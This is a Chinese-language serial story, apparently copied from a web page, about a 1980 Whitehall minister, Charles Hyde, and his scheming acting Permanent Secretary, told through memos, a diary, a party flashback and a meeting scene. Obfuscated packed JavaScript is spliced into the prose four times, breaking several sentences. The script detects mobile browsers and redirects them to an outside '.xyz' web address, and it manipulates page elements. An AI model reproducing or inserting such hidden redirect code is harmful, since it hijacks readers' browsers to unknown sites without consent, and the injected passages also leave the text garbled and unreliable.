发件人（From）：C. Astley, PPS designate 日期（Date）：21 January 1980 主题（Subject）：首日简报及后续行动 Minister, 谨就您今日到任首日情况简报如下，并汇报已落实事项及明日安排： 1、办公室布置（Office Layout）： 您提出的可擦写白板需求已落实。白板（1.8m x 1.2m）及配套马克笔、板擦已于今日13：45安装就位于您办公桌右前方指定区域。 办公室其余基础陈设（办公桌、访客沙发组、文件柜、电话、地图）已按常规配置完成。如您对布局、装饰或家具另有偏好，请随时告知，我可协调资产管理司在24-48小时内进行调整。 附属里间已按基础配置准备就绪（衣帽架、茶/咖啡器具、基本饮品/小食）。钥匙已置于您办公桌左上角抽屉内。 2、私人秘书支持（Private Office Support）： 内阁办公厅提供的首席私人秘书（PPS）候选人短名单已置于您收文篮，如需安排面谈或进一步了解候选人背景，请指示。 在PPS正式任命前，我将暂代处理PPS职责，确保您日常工作顺畅。私人秘书处其他借调人员（EO级助理秘书一名，AA级文员一名）已就位，可处理日常文件流转、预约及通讯事务。 3、日程安排（Schedule）： 本周初步日程草案已置于您收文篮，请您审阅。重点事项包括： 明日（22 Jan）：上午：审阅部门初步职能说明文件（已备好）；下午14：30：与借调私人秘书处人员简短会面；与代理常任秘书初步政策方向讨论（时间待定）。 周三（23 Jan）：下午15：00：首次跨部门信息共享例会（Inter-Departmental Information Sharing Liaison Meeting）。与会部门名单及议程草案将于明日中午前呈您审阅。 若您有额外会议、约见或行程需求，请随时告知，我将立即协调安排。 4、通讯与文件munications & Filing）： 办公桌上黑色转盘电话可直通私人秘书处（内线101），外线电话系统已开通。 收发文系统（In/Out Tray）已启用，今日收到的欢迎函件及日程草案已置于收文篮。 部门内部文件编号系统初步建立，后续将向您简要说明。 5、其他事项（Other）： 大楼供暖系统正在调试中，三楼东翼（含您办公室）升温可能稍慢。已放置一台备用暖风机于里间角落备用。深表歉意。 安保及通讯规程要点摘要已备好，可随时为您提供。 6、后续行动（Action Points for Me）： 确保周三跨部门会议议程及背景材料于明日（22 Jan）中午12：00前呈交您审阅。 跟进PPS任命流程。 监控供暖情况，确保明日办公环境温度适宜。 如您有任何问题、要求或需进一步澄清之处，请随时召唤（内线101）或告知。 Cyril Astley, PPS designate (无手写批注 - 此备忘录为正式提交给大臣的文件） —— —— —— 备忘录（MEMORANDUM） 协同协调部 - Department of Synergy Coordination 编号（Ref）：DSC/MIN/OBS/001/80 收件人（To）：A. Cavendish, Acting Perm Sec 发件人（From）：C. Astley, PPS designate 日期（Date）：21 January 1980 主题（Subject）：大臣首日到岗简报及行动项 Mr. Cavendish, 谨就海德大臣今日（21/01/80）到岗情况及后续行动汇报如下： 1、抵达与引导： 大臣于11：08抵达白厅街入口，由我引导至三楼办公室（Room 305）。 办公室环境（注：三楼东翼升温仍较慢，备用暖风机已开启）已按计划介绍，大臣对简朴状态表示理解，未提出即时装饰要求。唯一具体请求，在办公桌右侧靠窗预留区域安装一块大号可擦写板，并预留活动空间。 2、办公室布局调整执行： 可擦写白板（1.8m x 1.2m）及配套耗材（马克笔、板擦）已于 13：45 完成安装。 大臣已开始使用该白板（具体内容未明）。 其余布局将按“白厅常规”标准于明日内调整完毕（文件柜位置微调、电话线整理等）。 3、与您会面： 会面于12：00左右在Rm 305进行。 过程简述：大臣对您的身份（及可能的过往关联称谓）表现出显著惊讶。双方就部门职能、权限及工作方式进行了初步（且具张力）的交流。 您向大臣出示了首周日程草案（DSC/MIN/SCHED/WK1/DRAFT），并重点确认了白板安装项（已执行）。 大臣收下了日程草案，未当场提出修改意见，但情绪反应强烈（主要针对部门定位及沟通方式）。 4、后续安排： 已按日程草案，向大臣简要汇报了明日（22/01）安排：上午审阅部门初步职能说明文件（已备好）；下午与借调私人秘书处人员简短会面（已确认时间），与您初步政策方向讨论（时间待定）。 周三（23/01）下午15：00跨部门信息共享例会（IDISLM）已预留会议室（Rm 210），会议议程草案将于明早呈您和大臣审阅。 午餐：大臣选择在办公室简单用餐（三明治，由我协调外部采购）。 5、PPS任命： 已按您指示，在引导过程中向大臣递交内阁办公厅PPS候选人名单，并做了自我介绍，强调了跨部门轮岗经验（贸易与工业、国防、财政、内阁办）及政策协调背景。 大臣未明确确认任命，但态度积极。我将按PPS职责履行，待大臣正式确认。（注：大臣暂未明确确认任命。是否需提醒其审阅其余候选人，请指示。） 6、观察与待办： 大臣工作风格初显：偏好视觉化工具（白板），思维活跃，言辞直接，对官僚程序显露出不耐（需引导适应）。 需重点关注大臣对IDISLM会议议程的反馈及期望。 连通门钥匙已按您要求保管。大臣未询问钥匙或表示需立即使用里间。 安保规程文件已放置大臣收文篮。 7、待您指示： 是否需就上午会面的……特定环节（如称谓、沟通基调）向大臣进行后续澄清或安抚？ IDISLM会议拟邀请部门名单（草案附后），请审阅批注。 预算分配仍未获财政部书面确认。临时采购（白板、文具等）已由内阁办经费垫付，需后续冲账路径。 以上为首日简报。我将确保明日日程顺利推进，并持续观察记录大臣习惯与要求。 Cyril Astley 手写批注（边栏）： 你已履职，默许是最有效率的批准（Tacit approval is the most efficient kind. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294767|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ），名单归档。（Filed as tacit approval） 让张力自然沉淀，这是一次必要的校准。保持专业距离，专注于事务。称谓随大臣。 拟邀名单移除北爱尔兰事务部，其余照常。议程用“支持/服务”措辞，避免“协调/控制”。 预算问题我明日与财政部常秘通话。 记录白板使用模式，注意其对跨部门会议中“非目标性信息”的容忍度。 执行做得很好。 A.C. 21.01.80 —— —— —— 查尔斯·海德的日记 1980年1月21日，星期一。 终于回到家，早上的时候想泡杯浓茶，但现在我只想来杯威士忌。 荒谬。一天的结论。 仪式、誓词、皇家火漆……全都像一场排练至死的戏。演员换了几拨，台词却一字未改。 但真正的荒谬还在后面。 电话那头的维克托，原来是门这头的卡文迪许。 荒谬的同义反复，荒谬的礼仪规章，荒谬的胜利者。 维克托，我的观察者（Observer）朋友，那个在电话里用疲惫的声音预言我会被“谨言慎行的艺术”熏陶的人。 其实是阿利斯泰·卡文迪许，我的常任秘书，代理（acting）常任秘书。 代理（acting），真是适合这位观察者的头衔，绝妙的表演艺术。他的演技（acting）简直出神入化。 我早应察觉的。那种精确的措辞，那种对程序的迷恋，那种现在想来是刻意保持的距离感。 我被愚弄了。这不是最糟的。 我被一个我引为智识上的同伴，一个我以为能与之在旁观席上共同嘲笑这场马戏的人，彻头彻尾的愚弄了。这才是最糟的。 我以为我找到了同类，却没想到他是只猎狐犬。 卡文迪许，阿利斯泰·卡文迪许勋爵，连名字都像从一部维多利亚时代的小说里走出来的。 前天我像个小丑在电话里，兴致勃勃地向他演练着我的排除法，从财政部猜到忧郁的鳕鱼。而他，这位该死的维克托，就在另一头安静地听着，像在欣赏一出早已知道结局的闹剧。 他早就知道首相会把我扔进这个镀金笼子，而他就是那个负责关门、负责驯化我的驯兽师。 今天算是深刻地理解了“同义反复（Tautology）”这个词的精髓。 它不仅仅是一个逻辑学上的概念，它是一种活生生的、会呼吸的、会走路的《文官守则》，穿着萨维尔街西装的马基雅维利。 他不是在维护官僚主义，他本身就是官僚主义的艺术品，一件能自我修复、还能绊倒所有人的精密仪器。 他那套关于“礼仪是规章的保障，规章是礼仪的依据”的废话，听起来多么高贵，多么精妙。他把他对我的监控和预判”，美化成了观察者的职责和服务。 “大臣剑之所指，文官之所向？”听起来像臣服，实质上却是在划定边界。 他说这个部门的使命是“微妙控制”。简直贴切。 他已经在控制我了，用他那套精密的程序，他那些无懈可击的逻辑，他那张平静傲慢的脸。 然后是那块白板。我唯一的、小小的、具体的要求。一个能让我自由涂抹、混乱思考的空间。而它，竟然早已出现在他那份该死的日程草案上，精确到“下午两点前安装完毕”。 将死（Checkmate）了。在我甚至还没看清棋盘的时候，他不仅预判了我的行动，甚至已经写好了行动的会议纪要。 很好，狐狸查理。你现在被关进了一个镀金的笼子，你的驯兽师还提前在笼子里放好了你最喜欢的玩具，并体贴地附上了使用说明。 那就好好玩吧。 狐狸……不会乖乖呆在笼里。 既然你给我准备了一个焦点舞台，那就别怪我这只狐狸，在聚光灯下即兴发挥了。 等着瞧，维克托，或者说阿利斯泰·卡文迪许。 游戏，才刚刚开始。 如果这是一艘泰坦尼克号，我至少能决定撞上冰山的角度。 8. 狐狸和观察者的圣诞初遇 【特辑1】S00E01 圣诞义务（Yuletide Obligation） 1979年12月24日，平安夜。 伦敦某处灯火通明、衣香鬓影的宴会厅内，流淌着香槟的涓流（trickle of champagne）与更令人疲惫的寒暄洪流（torrent of platitudes）。 阿利斯泰·卡文迪许（Alistair Cavendish），正履行一项无法推卸的圣诞义务（Yuletide obligation）。 得体的微笑，恰到好处的颔首，滴水不漏的简短回应。他像一台设定精密的仪器，在喧闹中维系着无可挑剔的社交仪态。 终于，在某个话题的间隙，他捕捉到一丝空隙，不动声色地抽身，撤出了这片嘈杂的漩涡。 他退到宴会厅边缘一个相对僻静的角落里，背脊不着痕迹地贴上冰凉的大理石柱，刚打算让紧绷的神经稍作喘息，一个不速之客便带着一身酒气与过剩的热情，举着几乎见底的酒杯，目标明确地向他走来。 阿利斯泰的目光在杰里米身上快速扫过，记忆立刻调出与之相关的备忘录：杰里米·温特伯顿（Jeremy Winterbottom），保守党后座议员，选区无足轻重，精力旺盛，嗓门洪亮，观点与其说是激进，不如说是缺乏深思熟虑。 显然，杰里米刚在另一头经历了一场关于某个无关紧要的委员会投票的争论，并自诩取得了某种“胜利”。 一个被酒精和廉价成就感双重催化的麻烦plication）。 杰里米大步流星地走到阿利斯泰身旁，带着酒后的热情和宣告胜利的膨胀感，重重一掌拍在他肩上，用足以穿透附近几组谈话的音量宣告：“维克托！老伙计！（Victor! Old chap!）我就知道你是站在我这边的！看吧，他们哑口无言了！（See? Struck dumb!) 这才叫胜利（Victory）！干得漂亮！” “维克托”？ 突如其来的陌生称呼和亲昵的肢体接触，让阿利斯泰身体几不可察地绷紧，思维却仍敏锐地完成了评估：一个醉醺醺、不太重要、且认错了人的政客。 当场纠正一个情绪高涨的醉汉？那无异于主动跳进一个无意义的社交泥淖（social quagmire），只会引来更多不必要的关注和空洞的应酬。 阿利斯泰脸上没有浮现出任何被认错的讶异或被打扰的不悦。他只是极其轻微地挑了一下眉梢，对杰里米报以一个极其短暂、礼貌但毫无温度、近乎敷衍的颔首。同时，喉间逸出一个含义模糊、介于“嗯哼”和“是吗”之间的轻微鼻音（a nonmittal hum），精巧地维系着对话的表象，却未给予对方任何实质性的反馈或鼓励（maintained the semblance of engagement while yielding no substantive ground）。 接着，凭借着多年在复杂人脉和微妙暗示中游走的经验，阿利斯泰用几句不着边际、听起来像是赞同实则毫无内容的社交辞令（a few well-chosen platitudes that sounded agreeable yet meant nothing），成功地将这位沉浸在“胜利”喜悦中的醉汉引导（steered）回了喧闹的主场，如同将一艘失控的驳船推回主航道。他几不可闻地吁出一口气，抬手不着痕迹地拂了拂被拍过的肩头，仿佛掸去一缕无形的尘埃。 而这一幕，恰好落入了刚摆脱掉一个喋喋不休的银行家、正百无聊赖地在宴会边缘游荡的查尔斯·海德（Charles Hyde）眼中。他被杰里米那夸张的拍肩动作和大嗓门吸引，目光随即锁定了那个被骚扰的对象。 阿利斯泰站在光影交界处。后梳的铂金短发在枝形吊灯下泛着冷调的金泽，修身的黑色缎面戗驳领单扣无尾礼服完美勾勒出他挺拔而略显清瘦的轮廓。纯白衬衫的领口处打着无可挑剔的黑色丝质领结，胸前的口袋露出一角折得一丝不苟的纯白亚麻方巾。 他周身萦绕着一种沉静内敛的气韵，与宴会的浮华格格不入，恍若某种旧时代遗存。 有趣。（Intriguing.） 查尔斯端起自己的酒杯，琥珀色的液体在杯中轻轻晃动。在杰里米摇摇晃晃离开后，径直走向这位名叫“维克托”的绅士。 “晚上好。“查尔斯停在适当的社交距离外，举杯示意，“那真是一场精彩的……社交柔道（social judo）。” 阿利斯泰转过身，灰绿色的眼眸在灯光下显得格外深邃。他打量着眼前这位新的不请自来的访客——查尔斯·海德，自由党内那颗耀眼却不按常理出牌的新星，下任党魁的有力人选，尽管本人似乎对此并不热衷。 “海德先生？”他微微颔首，声音平稳低沉，带着一种独特的韵律感，准确地叫出了查尔斯的名字。 “查尔斯·海德，自由党议员。”查尔斯自我介绍道，“你可以直接叫我查尔斯，不嫌弃的话——查理（Charlie）。” 他声音里带着不加掩饰的欣赏和一丝探究，“用最小的力气，将一个失控的物体优雅地送回它该去的地方。我几乎要为您鼓掌了，维克托先生，或者……？” “维克托就行。”阿利斯泰简短地回应，没有提供姓氏。 “只是维克托？”查尔斯挑眉，“在这种场合，这倒是个有趣的选择。” 在这种每个人都急于交换名片的场合，只用一个名字，这本身就是一种宣言。 “名字不过是个标签。”阿利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294768|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯泰——或者说“维克托”——微微偏头，“在这里，重要的是你代表什么，而非你叫什么。” “哲学家？”查尔斯的兴趣被撩拨起来，“还是说，另一个厌倦了这场马戏表演的看客？” “观察者。”维克托纠正道，唇角勾起一个难以捕捉的弧度，“马戏表演自有其存在的价值。关键在于，你是想做表演者、观众，还是……驯兽师。” 查尔斯晃了晃酒杯，琥珀色的液体贴着杯壁旋转，“告诉您一个秘密，维克托先生。刚才那位喋喋不休的银行家，我告诉他我正负责一项关于‘银行家对国民精神健康负面影响’的秘密跨部门研究。他立刻就找到了更重要的人去交谈。” “一种更具进攻性的手法。”维克托灰绿色的眼眸里掠过一丝兴味，“高效，但或许……副作用广泛。明天财政部的某些角落，可能会出现一份关于这项‘研究’的非正式备忘录（informal memo）。” “那就让他们去猜吧。混乱自有其用处，不是吗？”查尔斯微笑，“说起来，您到底是哪一位‘维克托’？我认识的维克托里，可没有谁能把官僚主义的太极拳打得如此赏心悦目。” “也许您认识的维克托还不够多。”他答道，巧妙地避开了问题，将话题引向了一个更安全、也更无聊的领域，“说起委员会，您对新成立的能源效率督导小组有何高见？我听说……” 查尔斯生生止住去追问的念头。他看着对方轻描淡写地将一场有趣的交锋，试图引导回白厅那条铺满陈词滥调的轨道上，心中那点探秘的兴奋非但没有消减，反而愈发浓厚。 表面的题材是乏味的，棋路却不无趣。 他喜欢这种对局感。 这位名叫“维克托”的绅士，就像一个包装精美的、结构复杂的谜题盒，让他想要拆解。 两人的对话在接下来的半小时里展开，从政治哲学到白厅的运作机制，从欧洲局势到英国的未来。话题拉扯间，查尔斯发现这位绅士有着惊人的洞察力和一种令人着迷的超然态度——他谈论权力游戏时的神情，就像围观一盘已然落幕的棋局。 “你在政府工作？”查尔斯最终还是忍不住问道。 “某种程度上。”他的回复依旧模糊，“我服务于……秩序。” 临别之际，查尔斯递出名片：“倘若‘观察者（Observer）’不忌讳偶尔被拉下看台的话。” 维克托接过名片，扫了一眼，然后从内袋取出一张空白的卡片和随身的钢笔。 他将卡片递过来，“或许我们还会再见。” 远处似乎有人在招呼，维克托极轻地颔首，便顺势融入人群。仿佛他本就属于那里，又仿佛从未存在。 查尔斯低头看那张卡片，一串数字、无姓名、无单位、无职衔。他笑了笑，把它收入内袋。 “有趣。”他说。 9. 跨部门信息共享例会 【初启航】S01E01 《信息币》（Information Currency） 1980年1月23日，星期三。 午后的阳光斜斜穿过白厅街那扇高窗，在地毯上投下一块苍白的矩形。 这间被戏称为“镀金笼子”的办公室内，充满了查尔斯·海德（Charles Hyde）大臣那几乎要凝成实质的烦躁感。 那块崭新的可擦写板在他到岗第一天的下午，就如阿利斯泰所言在办公桌旁落位，上面用黑色马克笔潦草地圈画着部门名称和关键词，箭头与问号交织。 查尔斯正对着它踱步，手指无意识地敲击着白板边缘，发出轻微的嗒嗒声。 他穿着一套笔挺的纯黑色西装，以自由党代表色金与黄为主的斜条纹领带，少见地系着完美的半温莎结，甚至刻意修出了双酒窝。 或许他正在试图用外在的郑重，驱散对即将到来的会议那丝荒诞感。 “跨部门信息共享例会（Inter-Departmental Information Sharing Liaison Meeting）……” 查尔斯盯着日程表，一字一顿复述那拗口的条目。 那拗口的名字在西里尔昨天下午部门内会议的简报中听起来还像那么回事——一个推动政府现代化、打破部门壁垒的崇高起点。但现在查尔斯念着，却觉得它更像一个精心设计的官僚笑话。 门被轻轻敲响，西里尔·埃斯利（Cyril Astley）探进头来。 “大臣，各部门的代表陆续到了，安排在楼下的‘协作室’。”他手里抱着一摞文件，蓝色的眼睛里藏着些不易察觉的紧张，这毕竟也算他作为PPS参与的第一次正式会议——假设这算正式会议的话。 “‘协作室’？听起来真够鼓舞人心的。我们的‘胜利者’勋爵呢？他准备好他新的‘礼仪即规章，规章即礼仪’式绕口令来在会议上发言了吗？” “Sir…阿利斯泰·卡文迪许勋爵（Lord Alistair Cavendish）已经在那里了。” 西里尔顿了顿，补充道：“按照……呃，白厅的惯例，这种会议通常由常任秘书或其代表主持，但如果您希望亲自……” “当然是我主持，西里尔。”查尔斯打断他，“这是我们协同协调部的首秀，不是吗？总得让大家知道，我们不是来喝茶聊天的。” 他拿起那份由阿利斯泰“建议”、西里尔起草的会议议程草案，上面列着诸如“明确信息共享范围”、“确立标准化数据格式”、“建立定期沟通机制”的条目，看上去都“合理且必要”。 “IDISLM？他们就不能想个像人话的名字吗？这听起来就是像肠道疾病，或某个监听项目代号。”查尔斯念出这个拗口的缩写，忍不住吐槽。 “这恐怕也是白厅的传统，大臣。”西里尔接上，“冗长的名称能有效降低外部期望，增加内部神秘感，并确保其真实意图——通常是毫无意图——不被轻易识破。” “阿利斯泰勋爵认为，这次会议是建立DSC基础运作流程、接触各部关键联络人的起点……”他谨慎地选择措辞，“若您亲自主持，建议首场仍以观察和倾听为主。此类会议的‘成功’，常取决于出席本身与后续报告的措辞。” “‘出席即成功’？”查尔斯扬了扬文件。 附录里是各部门“共享意愿”初清单，清一色的摘要的摘要，趋势的趋势。条目基本上是一些公开版信息，字面意义上的公开信息，毫无价值。“连基本信息都共享不动，谈什么优化效率？” “我们不是来白厅打卡的，DSC得‘协同协调’，不是写字。”他将草案拍在桌上。 “Yes, Minister.”西里尔轻轻踮了踮脚，“不过，我想我们应该尽快移步‘协作室’了。” 查尔斯深深地看了自己年轻的首席私人秘书一眼，最后应道：“走吧，让我们看看白厅这台机器，到底有多少零件需要上点‘协同’的润滑油。” 两人下到二楼。 协作室内，一张巨大的长桌占据了房间中央，周围摆放着十几把高背椅。 阿利斯泰已端坐在长桌的一端——并非主位，那是留给查尔斯的——而是紧邻主位右侧的位置。 他像一块嵌入环境的灰色大理石，铂金色的发丝在灯光下泛着光泽，炭灰色三件套与会议室背景融为一体。灰绿色的眼眸低垂，正专注地审阅着面前一份文件，左手无名指上的绿宝石戒指在翻阅纸张的间隙偶尔闪过一点幽光。仿佛他正身处内阁会议，而非一个初生部门的首次“协调”尝试。 当查尔斯大步流星地走进来，带着一股刻意营造的“新官上任”的热风时，阿利斯泰才缓缓抬起头。 “下午好，大臣。”他起身，替查尔斯拉开主位椅子。 “下午好，勋爵。”查尔斯回应，刻意加重了头衔。 目光扫过会议室，稀稀拉拉坐着七个部门的代表，彼此间的距离像是部门的鸿沟。 代表们大多职位不高，神情带着例行公事的倦怠和不算明显的轻视。 能源部、工业部、就业部、卫生部、苏格兰事务部、威尔士事务部……都是些与“协同协调”沾点边，但核心权力远在别处的部门——其中能源部、就业部和苏格兰事务部都是首相划分安置自由党的部门。 他认出了国防部代表，一位神色严肃的中校，正襟危坐着。他算是与会者中级别最高的了。 “看来，‘信息共享’的热情在白厅还处于……萌芽阶段？”查尔斯坐下，向右边微微偏头道。 “出席率本身，大臣，就是初级阶段最有价值（value）的信息（Information）。”阿利斯泰低声道，“它标定我们当下在优先序列中的位置……以及，哪些部门认为值得在此刻投入时间成本。” 西里尔在查尔斯左手边坐下，摊开了笔记本。 会议开始。 按议程，首先是“信息共享机制现状汇报”。 工业部那位头发花白、眼镜滑到鼻尖的副司长首先发言，声音平板得像在读一份器械的使用手册。 “……工业部内部信息流转，主要通过每周司长简报及月度数据汇编。跨部门层面，主要遵循《白厅核心事务通报备忘录（1978年修订版）》第4章第2节流程……确保信息传递的准确性和……嗯，可追溯性（traceability）。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294769|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他花了整整五分钟详尽地描述文件编号体系和归档规则，听得查尔斯眼皮发沉。 “那么效率呢？”查尔斯打断他，身体前倾，手指无意识地敲击桌面，“我是说，当你们需要快速了解，比如……财政部对某个特定行业补贴的最新立场时？” 工业部代表推了推眼镜，茫然地眨眨眼：“效率？大臣，程序（procedure）确保了准确性和可追溯性。我们通常会在下一季度综合财政报告发布后，进行交叉比对分析。或者，在必要时，通过正式公文渠道进行质询，这通常需要……嗯，五到七个工作日得到初步回应。” “五到七天？事情都结束了。（That ship has sailed.）”查尔斯忍不住皱眉道，“难道没有更……即时的沟通？像是电话？非正式交谈？” 桌对面传来一声几不可闻的轻咳。就业部的一位年轻官员，脸上带着初生牛犊的些许紧张，小心翼翼地开口：“大臣，非正式渠道……存在信息扭曲和权责不清的风险。根据《文官守则》，尤其涉及预算和劳工政策敏感领域，一切交流需留有书面记录（a written record），以备……”他瞥了一眼阿利斯泰平静无波的脸，声音低了下去，“……审计和质询。” “精确性是官僚体系的基石，大臣。”阿利斯泰适时补充，“模糊的‘即时’，往往是后续漫长纠错的起点（The seed of protracted rectification）。书面记录，虽然看似迟缓，却是维系责任链条的……必要冗余。” 查尔斯感到一阵无力，他转向能源部代表，一位精干的青年文官：“能源部呢？北海油田的实时产量波动，与财政部预算、工业部下游分配，总需要快速协调吧？” 能源部代表露出职业化的微笑，熟练地筑起高墙：“我们有完善的内部日报机制。跨部门层面，涉及重大数据变动，我们会通过加密电传抄送相关常任秘书办公室，并附上标准格式的数据摘要。这确保了信息的权威性和……分发范围的精确控制（precise distribution control）。” “精确控制……”查尔斯咀嚼着这个词组，目光投向一直沉默的国防部中校。 “中校，国防事务瞬息万变。你们如何确保与……例如，外交部或内政部的关键信息同步？总不会也靠下周的简报吧？” 中校挺直脊背：“国防部有最高优先级的信息传递系统，直通相关大臣及常任秘书。跨部门协调涉及国家安全时，依据《联合情报委员会（JIC）信息共享协议框架》执行。日常事务，”他顿了顿，目光扫过会议室，带着点不易察觉的居高临下，“通过既定联络官渠道和标准化备忘录进行。效率服从于安全与程序，这是铁律（Iron rule）。” 查尔斯几乎要呻吟出声。 他算是彻底明白了，这个“信息共享例会”，本质上是一场‘如何体面地不共享信息’的经验交流会。每个部门都筑起了高高的信息壁垒，壁垒上还挂满了名为“程序”、“安全”、“责任”、“格式”的荆棘，并且引以为豪。 协同？ 协调？ 在这里像个天真的笑话。 10. 讨厌开会 会议进入“自由讨论与建议”环节，气氛更加沉闷，推诿艺术轮番上演。 各部门代表像约好了一般，开始打太极。熟练运用着“值得研究”、“考虑兼容性”、“潜在风险”等万能挡箭牌。 “信息共享意愿当然强烈，”苏格兰事务部的代表慢悠悠地说，带着浓重的地方口音，“但前提是明确苏格兰地方数据的独特性和主权归属问题，这需要联合备忘录先行界定……可能需要跨部门工作组来推进。” “共享是双向的。”威尔士事务部的官员接棒，“威尔士办公室非常愿意提供经过脱敏处理的区域性就业数据，但需要DSC首先明确数据使用的约束性条款，并确保不会用于削减威尔士专项拨款。这是底线（red line）。” 卫生部的女士推了推桌上的文件：“地方医疗资源数据涉及患者隐私和医院运营细节，受《部门内部数据处理指引》严格限制。共享原始数据风险极大。我们定期发布的趋势报告已经包含了关键洞察（key insights）。况且……”她略带歉意地笑了笑，“协调地方资源是地方卫生当局的职责，我们过度干预反而会削弱地方能动性。”显然已练成炉火纯青的踢皮球技术。 国防部的军官坐得更直了，语气不容置疑：“后勤补给链状况属于作战勤务信息，其细节关乎国家安全，公开讨论或跨部门共享，恕难从命（categorically not possible）。可以提供的海军舰艇访问日程已在清单中写明。” 工业部的老副司长则忧心忡忡：“标准化共享平台？技术可行性需深入评估。现有系统兼容性、数据字段定义的统一、以及最重要的——谁来承担平台建设、维护和……安全审计的预算？”他看向查尔斯，像在看一个即将引爆的预算炸弹。 查尔斯试图引导，提出建立一个小型、快速反应的“核心信息枢纽（Core Information Hub）”试点。回应他的是一片礼貌的沉默和几句“值得进一步研究”、“需考虑现有框架兼容性”、“存在潜在权责重叠风险”的官腔。 他感觉自己像在试图融化一座冰山，用一根火柴。 查尔斯感到一阵熟悉的眩晕，仿佛又回到了前天与阿利斯泰那场关于“程序”与“实质”的争吵现场。他强忍着拍桌子的冲动，看向西里尔，年轻的PPS正埋头疾书，记录着这场毫无营养的拉锯战，笔尖在纸上沙沙作响。 唯一打破这潭死水的，是国防部中校在会议尾声，不经意间提到的一件“小事”：“……另外，例行通报，鉴于当前预算审查和舰船维护周期调整，南大西洋巡逻舰队的例行维护确实面临一些……资源上的挑战，轮换部署可能出现……轻微延误。当然，这是例行维护的常态（routine），此事已按规程报备内阁办公厅及外交部相关科室。”他轻描淡写地带过。 查尔斯敏锐地捕捉到“南大西洋”这个词，结合“延误”，眉头本能地一皱。 但没等他深究，阿利斯泰已平静地接上了话：“收到通报，中校。感谢国防部遵循规程进行信息共享。”他向西里尔轻轻颔首。 西里尔立刻在“国防部”一栏旁画了个星号。 “诸位。”阿利斯泰继续道，声音里带着令人信服的务实，“时间已近尾声，或许我们可以先达成一个最低限度的、可操作的共识，为本次会议画上一个……建设性的句号。” 所有人的目光都聚焦在他身上，带着一丝解脱的期待。 查尔斯则是皱起眉头，想知道他如何收拾这场烂摊子。 “鉴于各部门对信息共享的范围、深度和形式存在……合理的关切（valid concerns）。”阿利斯泰措辞谨慎，“DSC提议，本次会议暂不设定强制性的共享内容清单或固定的高频沟通机制，以免增加诸位不必要的负担（undue burden）。” 几位代表不易察觉地松了口气。 “取而代之。”阿利斯泰话锋一转，“我们建议建立一个基础的、非约束性的‘信息报备联络官机制（Dedicated Liaison Officer for Information Notification）’机制。由各部门指定一名固定联络官（Dedicated Liaison Officer），负责接收DSC关于信息需求的正式问询，并在其部门规程允许范围内，酌情提供信息或说明无法提供的理由。”他拿起一份不知何时准备好的草案。 “此外， DSC负责汇总各部门提交的公开信息摘要，定期汇编一份《白厅信息流动概况简报》（Whitehall Information??Flow Overview），分送与会各部门及内阁秘书处参考。简报内容仅限于已公开或各部门授权共享的信息。并设立一个非正式的季度茶叙（Quarterly Informal Tea），由DSC做东，提供一个宽松的交流平台，讨论非敏感性的、普遍关注的操作性议题。无强制议程，无正式记录。” 他放下草案，灰绿色的眼睛扫过全场：“这既体现了DSC履行协调职能的努力，也充分尊重了各部门的自主权和信息安全考量。一份体现‘积极磋商’但‘具体协同措施有待深化’的报告，相信也能满足10号的期待。诸位意下如何？” 会议室里一片寂静，随后是几声轻微的附和。 工业部司长推了推眼镜：“这个提议……很务实（pragmatic），卡文迪许勋爵。在现有框架下是可行的（feasible）。” 其他人也纷纷点头。没有强制，没有风险，还能定期喝免费茶，偶尔应付一下“正式问询”，一份漂亮的报告还能证明自己参与了“协同”，何乐而不为？ 查尔斯看着眼前这一幕，只觉得荒谬。 他费尽口舌想推动实质进展，结果阿利斯泰用一份看似妥协、实则将“信息共享”彻底形式化和无害化的方案，轻易赢得了所有人的“支持”。他所谓的“首秀”，成了一场精心导演的哑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294770|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧，而他只是台上那个念开场白的报幕员。 “很好。（Splendid.）”阿利斯泰仿佛没看见查尔斯的脸色，对西里尔示意，“西里尔，请记录下这个共识。” 会议在众人心照不宣的、毫无建树的氛围中“圆满”结束。 